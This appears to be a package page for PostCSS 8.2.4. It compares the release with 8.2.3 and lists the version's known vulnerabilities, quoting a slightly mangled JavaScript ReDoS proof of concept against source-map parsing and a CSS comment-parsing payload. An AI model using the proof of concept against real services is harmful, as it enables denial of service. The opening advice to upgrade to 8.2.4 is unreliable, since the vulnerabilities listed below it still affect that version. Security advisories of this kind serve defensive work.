PostCSS 8.2.4 is a minor version update to the popular JavaScript tool for transforming CSS with plugins. Comparing it to the previous stable version, 8.2.3, we see several key improvements. Both versions share the same core dependencies: nanoid for generating unique IDs, colorette for colorful terminal output, and source-map for debugging. The license remains MIT, the repository is the same, and Andrey Sitnik is still the author. The funding model through Open Collective is unchanged.
The most apparent difference lies in the build details within the dist object. Version 8.2.4 shows a slightly larger unpacked size of 203350 bytes compared to 8.2.3's 203191 bytes. While the fileCount remains constant at 50, this small increase suggests potential bug fixes, performance improvements, or minor feature enhancements that contribute to the expanded footprint. More significantly, the releaseDate shows version 8.2.4 was released on January 9, 2021, a couple of days after version 8.2.3 released on January 7, 2021. This quick follow-up release hints at a potentially important hotfix or a rapidly addressed issue discovered shortly after the previous release. Developers should upgrade to 8.2.4 to ensure they have the latest stability and potential performance benefits.
All the vulnerabilities related to the version 8.2.4 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.